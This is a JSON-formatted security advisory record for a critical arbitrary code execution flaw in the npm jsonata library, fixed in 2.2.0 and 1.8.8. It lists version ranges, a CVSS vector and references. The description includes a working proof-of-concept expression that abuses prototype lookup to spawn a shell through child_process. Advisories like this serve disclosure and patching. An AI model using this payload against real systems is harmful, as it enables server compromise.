{"id":"GHSA-8gq3-vp5j-2grp","revision":"6544767028f64f538a6d479535dce553","records":[{"revision":"6544767028f64f538a6d479535dce553","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8gq3-vp5j-2grp","aliases":["CVE-2026-77413"],"title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","state":0,"publishedAt":"2026-08-21T20:57:07+00:00","modifiedAt":"2026-08-21T21:10:59.271102+00:00","affected":[{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.8.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp","https://github.com/jsonata-js/jsonata/pull/794","https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e","https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d","https://github.com/jsonata-js/jsonata","https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"],"sourceUrl":"https://github.com/advisories/GHSA-8gq3-vp5j-2grp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8gq3-vp5j-2grp","identifiers":["GHSA-8gq3-vp5j-2grp","CVE-2026-77413"]},"retained":false,"historicalAffected":[]}],"coverage":[]}